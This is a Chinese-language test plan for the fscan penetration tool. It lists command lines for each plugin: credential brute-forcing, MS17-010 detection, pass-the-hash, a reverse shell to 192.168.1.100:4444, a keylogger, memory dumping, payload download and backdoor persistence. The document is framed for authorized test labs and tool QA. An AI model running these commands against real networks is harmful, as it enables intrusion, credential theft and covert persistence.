fscan/PLUGIN_TESTING.md
ZacharyZcR 8606af2f32 docs: 添加完整的插件饱和性测试文档
- 覆盖所有47个插件模块的测试方案
- 包含服务插件、Web插件、本地插件三大类测试
- 提供Docker环境快速部署脚本
- 包含性能测试、稳定性测试、安全性测试
- 提供详细的验证标准和测试报告模板
- 涵盖内网渗透、外网侦察、横向移动等实战场景
2025-09-02 02:08:36 +00:00

677 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Fscan 插件饱和性测试文档
## 概述
本文档用于全面测试Fscan v2.2.1的所有插件模块,确保每个组件都能正常工作。测试分为三大类:**服务插件**、**Web插件**和**本地插件**。
---
## 测试环境要求
### 基础环境
- Linux/Windows测试环境
- Docker容器用于快速部署测试服务
- 网络连接(用于外部服务测试)
- 管理员权限(用于本地插件测试)
### 测试目标服务器
建议使用Docker快速部署以下服务
```bash
# MySQL
docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
# Redis
docker run -d -p 6379:6379 redis:alpine
# MongoDB
docker run -d -p 27017:27017 mongo:4.4
# PostgreSQL
docker run -d -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
# SSH服务
docker run -d -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
# FTP服务
docker run -d -p 21:21 -p 30000-30009:30000-30009 -e FTP_USER=test -e FTP_PASS=test fauria/vsftpd
# SMB/CIFS
docker run -d -p 139:139 -p 445:445 dperson/samba -u "test;test" -s "share;/tmp;yes;no;yes"
```
---
## 1. 服务插件测试 (Services Plugins)
### 1.1 数据库服务测试
#### MySQL插件测试
```bash
# 基础连接测试
./fscan -h 127.0.0.1:3306 -m mysql
# 暴力破解测试
./fscan -h 127.0.0.1:3306 -user root -pwd "123456,admin,mysql"
# 自定义字典测试
echo "root" > users.txt
echo -e "123456\nadmin\nmysql" > passwords.txt
./fscan -h 127.0.0.1:3306 -userf users.txt -pwdf passwords.txt
```
**验证标准:**
- [ ] 能正确识别MySQL服务
- [ ] 能进行版本探测
- [ ] 能执行暴力破解攻击
- [ ] 成功时显示版本信息和权限
#### PostgreSQL插件测试
```bash
# 基础测试
./fscan -h 127.0.0.1:5432 -m postgresql
# 暴力破解
./fscan -h 127.0.0.1:5432 -user postgres -pwd "postgres,admin,123456"
```
**验证标准:**
- [ ] 正确识别PostgreSQL服务
- [ ] 显示版本信息
- [ ] 暴力破解功能正常
#### MongoDB插件测试
```bash
# 无认证连接测试
./fscan -h 127.0.0.1:27017 -m mongodb
# 认证连接测试(如果有密码)
./fscan -h 127.0.0.1:27017 -user admin -pwd "admin,mongodb,123456"
```
**验证标准:**
- [ ] 检测MongoDB服务
- [ ] 识别未授权访问
- [ ] 显示数据库列表(如果有权限)
#### MSSQL插件测试
```bash
# SQL Server测试需要MSSQL容器
./fscan -h target:1433 -m mssql -user sa -pwd "Password123,admin,sa"
```
#### Redis插件测试
```bash
# 基础连接测试
./fscan -h 127.0.0.1:6379 -m redis
# 未授权访问测试
./fscan -h 127.0.0.1:6379
# 写入测试(危险操作,仅测试环境)
./fscan -h 127.0.0.1:6379 -rs reverse_shell_command
```
**验证标准:**
- [ ] 检测Redis服务
- [ ] 识别未授权访问
- [ ] 能执行info命令
- [ ] 支持写入操作(如果有权限)
#### Oracle插件测试
```bash
# Oracle测试需要Oracle容器
./fscan -h target:1521 -m oracle -user system -pwd "oracle,admin,123456"
```
### 1.2 网络服务测试
#### SSH插件测试
```bash
# SSH暴力破解测试
./fscan -h 127.0.0.1:22 -m ssh -user "root,admin,ubuntu" -pwd "123456,admin,root"
# SSH密钥测试
./fscan -h 127.0.0.1:22 -sshkey /path/to/private_key
```
**验证标准:**
- [ ] 正确识别SSH服务
- [ ] 显示SSH版本和算法
- [ ] 暴力破解功能正常
- [ ] 支持密钥认证
#### FTP插件测试
```bash
# FTP连接测试
./fscan -h 127.0.0.1:21 -m ftp
# FTP暴力破解
./fscan -h 127.0.0.1:21 -user "ftp,anonymous,admin" -pwd "ftp,123456,admin"
```
**验证标准:**
- [ ] 检测FTP服务
- [ ] 支持匿名登录检测
- [ ] 暴力破解功能正常
- [ ] 显示FTP banner信息
#### Telnet插件测试
```bash
# Telnet测试
./fscan -h target:23 -m telnet -user "admin,root" -pwd "admin,123456"
```
#### SMB插件测试
```bash
# SMB服务探测
./fscan -h 127.0.0.1:445 -m smb
# SMB共享枚举
./fscan -h 127.0.0.1:445 -user guest -pwd ""
# MS17-010漏洞检测
./fscan -h target:445 -m ms17010
```
**验证标准:**
- [ ] 检测SMB服务版本
- [ ] 枚举共享目录
- [ ] 检测已知漏洞
- [ ] 显示操作系统信息
#### SMTP插件测试
```bash
# SMTP测试
./fscan -h target:25 -m smtp
./fscan -h target:587 -m smtp
```
#### LDAP插件测试
```bash
# LDAP连接测试
./fscan -h target:389 -m ldap
./fscan -h target:636 -m ldap # LDAPS
```
### 1.3 专用服务测试
#### Elasticsearch插件测试
```bash
# Elasticsearch测试
./fscan -h 127.0.0.1:9200 -m elasticsearch
```
#### Kafka插件测试
```bash
# Kafka测试
./fscan -h target:9092 -m kafka
```
#### RabbitMQ插件测试
```bash
# RabbitMQ管理接口测试
./fscan -h target:15672 -m rabbitmq
./fscan -h target:5672 -m rabbitmq
```
#### Memcached插件测试
```bash
# Memcached测试
./fscan -h target:11211 -m memcached
```
#### Neo4j插件测试
```bash
# Neo4j测试
./fscan -h target:7474 -m neo4j
./fscan -h target:7687 -m neo4j
```
#### VNC插件测试
```bash
# VNC测试
./fscan -h target:5900 -m vnc
```
#### RDP插件测试
```bash
# RDP连接测试
./fscan -h target:3389 -m rdp
```
---
## 2. Web插件测试 (Web Plugins)
### 2.1 Web标题获取测试
```bash
# HTTP标题获取
./fscan -u "http://www.example.com"
./fscan -u "https://www.example.com"
# 批量URL测试
echo -e "http://www.example.com\nhttps://www.github.com" > urls.txt
./fscan -uf urls.txt
# 端口扫描+Web检测
./fscan -h 127.0.0.1 -p 80,443,8080,8443
```
**验证标准:**
- [ ] 正确获取网页标题
- [ ] 显示HTTP状态码
- [ ] 识别Web服务器信息
- [ ] 显示响应长度
- [ ] 支持HTTPS检测
### 2.2 Web POC扫描测试
```bash
# 启用POC扫描
./fscan -u "http://target" -full
# 指定POC名称
./fscan -u "http://target" -pocname "spring,struts"
# 自定义POC路径
./fscan -u "http://target" -pocpath /path/to/pocs/
# 禁用POC对照测试
./fscan -u "http://target" -nopoc
```
**验证标准:**
- [ ] 能加载POC规则
- [ ] 正确识别已知漏洞
- [ ] 显示漏洞详细信息
- [ ] POC并发控制正常
### 2.3 指纹识别测试
```bash
# 启用指纹识别
./fscan -u "http://target" -fp
# 指纹+POC组合
./fscan -u "http://target" -fp -full
```
**验证标准:**
- [ ] 识别Web应用类型
- [ ] 识别中间件信息
- [ ] 识别CMS类型
- [ ] 识别技术栈
---
## 3. 本地插件测试 (Local Plugins)
> **警告:本地插件测试具有潜在风险,仅在测试环境中执行**
### 3.1 系统信息收集
```bash
# 系统信息收集
./fscan -local systeminfo
# 环境变量信息
./fscan -local envinfo
# 文件信息收集
./fscan -local fileinfo
# 域控信息收集
./fscan -local dcinfo
```
**验证标准:**
- [ ] 收集操作系统信息
- [ ] 枚举环境变量
- [ ] 查找敏感文件
- [ ] 识别域环境
### 3.2 服务和进程管理
```bash
# Windows服务管理
./fscan -local winservice
# 系统服务管理Linux
./fscan -local systemdservice
# 计划任务Windows
./fscan -local winschtask
# Cron任务Linux
./fscan -local crontask
```
**验证标准:**
- [ ] 枚举运行服务
- [ ] 识别计划任务
- [ ] 显示服务详细信息
- [ ] 检测异常服务
### 3.3 持久化和后门
```bash
# Windows启动项
./fscan -local winstartup
# 注册表查询
./fscan -local winregistry
# LD_PRELOAD后门
./fscan -local ldpreload
# Shell环境后门
./fscan -local shellenv
```
### 3.4 网络和通信
```bash
# 反弹Shell
./fscan -local reverseshell -rsh 192.168.1.100:4444
# 正向Shell服务器
./fscan -local forwardshell -fsh-port 4444
# SOCKS5代理
./fscan -local socks5proxy -start-socks5 1080
```
### 3.5 高级功能
```bash
# 键盘记录
./fscan -local keylogger -keylog-output keylog.txt
# 内存转储
./fscan -local minidump
# 杀毒软件检测
./fscan -local avdetect
# 系统清理
./fscan -local cleaner
```
### 3.6 文件操作
```bash
# 文件下载
./fscan -local downloader -download-url "http://example.com/file.exe" -download-path "/tmp/file.exe"
# 持久化文件植入Linux
./fscan -local persistence -persistence-file "/tmp/backdoor.elf"
# 持久化文件植入Windows
./fscan -local persistence -win-pe "C:\\temp\\backdoor.exe"
```
---
## 4. 综合测试场景
### 4.1 内网渗透场景
```bash
# 完整内网扫描
./fscan -h 192.168.1.0/24 -p 21,22,23,80,135,139,443,445,1433,3306,3389,5432
# 禁用ping的扫描
./fscan -h 192.168.1.0/24 -np
# 指定线程数的大规模扫描
./fscan -h 10.0.0.0/16 -t 1000 -mt 100
```
### 4.2 外网侦察场景
```bash
# 存活探测
./fscan -h target.com -ao
# Web应用测试
./fscan -h target.com -fp -full
# 特定端口扫描
./fscan -h target.com -p 80,443,8080,8443,8888
```
### 4.3 横向移动场景
```bash
# 凭据重用测试
./fscan -h 192.168.1.0/24 -user administrator -pwd "Password123"
# 哈希传递攻击
./fscan -h 192.168.1.0/24 -hash "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
```
---
## 5. 输出和日志测试
### 5.1 输出格式测试
```bash
# 文本格式输出
./fscan -h target -o result.txt -f txt
# JSON格式输出
./fscan -h target -o result.json -f json
# CSV格式输出
./fscan -h target -o result.csv -f csv
# 禁用文件输出
./fscan -h target -no
```
### 5.2 日志级别测试
```bash
# 详细日志
./fscan -h target -log all
# 仅基础信息
./fscan -h target -log base
# 静默模式
./fscan -h target -silent
# 无颜色输出
./fscan -h target -nocolor
# 无进度条
./fscan -h target -nopg
```
---
## 6. 性能和稳定性测试
### 6.1 高并发测试
```bash
# 最大线程测试
./fscan -h 192.168.1.0/24 -t 2000 -mt 200
# 超时控制测试
./fscan -h target -time 10 -wt 30 -gt 300
# 重试机制测试
./fscan -h unreachable_target -retry 5
```
### 6.2 大规模目标测试
```bash
# C类网段扫描
./fscan -h 192.168.1.0/24
# B类网段扫描谨慎使用
./fscan -h 10.0.0.0/16 -t 1000
# 文件批量目标
echo -e "192.168.1.1\n192.168.1.2\n192.168.1.3" > targets.txt
./fscan -hf targets.txt
```
---
## 7. 代理和网络测试
### 7.1 HTTP代理测试
```bash
# HTTP代理
./fscan -h target -proxy http://127.0.0.1:8080
# SOCKS5代理
./fscan -h target -socks5 127.0.0.1:1080
# 组合使用
./fscan -u "http://target" -proxy http://proxy:8080 -cookie "session=abc123"
```
### 7.2 DNS和网络配置
```bash
# DNS日志记录
./fscan -h target.com -dns
# 用户代理自定义
./fscan -u "http://target" -cookie "custom=value"
# 域环境扫描
./fscan -h target -domain corp.local
```
---
## 8. 错误处理和边界测试
### 8.1 错误输入测试
```bash
# 无效目标
./fscan -h "invalid_host"
# 无效端口
./fscan -h 127.0.0.1 -p 99999
# 无效插件
./fscan -h 127.0.0.1 -m nonexistent_plugin
# 无效文件路径
./fscan -hf /nonexistent/file.txt
```
### 8.2 资源限制测试
```bash
# 内存使用测试(大目标列表)
./fscan -h 0.0.0.0/0 -ao # 不要真的运行这个
# 磁盘空间测试(大输出文件)
./fscan -h large_network -o /tmp/large_result.txt
```
---
## 9. 验证清单
### 9.1 功能完整性检查
- [ ] 所有服务插件都能正常加载和执行
- [ ] Web插件能正确处理HTTP/HTTPS协议
- [ ] 本地插件能在对应操作系统上正常运行
- [ ] 输出格式正确且完整
- [ ] 日志记录准确无误
### 9.2 稳定性检查
- [ ] 长时间运行无内存泄漏
- [ ] 高并发场景下无崩溃
- [ ] 网络异常时能优雅处理
- [ ] 错误输入不会导致程序异常退出
### 9.3 安全性检查
- [ ] 本地插件不会误伤测试环境
- [ ] 网络扫描遵循配置的限制
- [ ] 敏感信息正确处理(不明文显示密码等)
- [ ] 代理配置正确工作
---
## 10. 测试报告模板
### 测试执行记录
```
测试日期____________________
测试环境____________________
Fscan版本____________________
Go版本______________________
插件测试结果:
□ 服务插件 (____/25 通过)
□ Web插件 (____/2 通过)
□ 本地插件 (____/20 通过)
性能测试结果:
□ 并发性能测试通过
□ 内存使用测试通过
□ 网络异常处理测试通过
发现的问题:
1. ________________________
2. ________________________
3. ________________________
测试建议:
1. ________________________
2. ________________________
3. ________________________
测试人员签名____________________
```
---
## 附录
### A. Docker测试环境快速部署脚本
```bash
#!/bin/bash
# 快速部署测试服务脚本
echo "部署MySQL..."
docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
echo "部署Redis..."
docker run -d --name redis-test -p 6379:6379 redis:alpine
echo "部署PostgreSQL..."
docker run -d --name postgres-test -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
echo "部署SSH..."
docker run -d --name ssh-test -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
echo "测试服务部署完成!"
```
### B. 清理测试环境脚本
```bash
#!/bin/bash
# 清理测试容器
docker stop mysql-test redis-test postgres-test ssh-test
docker rm mysql-test redis-test postgres-test ssh-test
rm -f result.* *.txt *.json *.csv keylog.txt
echo "测试环境清理完成!"
```
### C. 常用测试命令备忘
```bash
# 快速本地服务扫描
./fscan -h 127.0.0.1 -p 21,22,80,135,139,443,445,1433,3306,3389,5432,6379
# 完整功能测试
./fscan -h 127.0.0.1 -fp -full -log all
# 性能基准测试
time ./fscan -h 192.168.1.0/24 -t 500
```
---
**注意事项:**
1. 本测试文档仅用于授权的安全测试环境
2. 禁止在生产环境或未授权系统上执行测试
3. 部分本地插件可能需要管理员权限
4. 测试过程中请备份重要数据
5. 如发现安全漏洞,请负责任地披露
**版本:** v1.0
**更新日期:** 2025-09-02
**适用于:** Fscan v2.2.1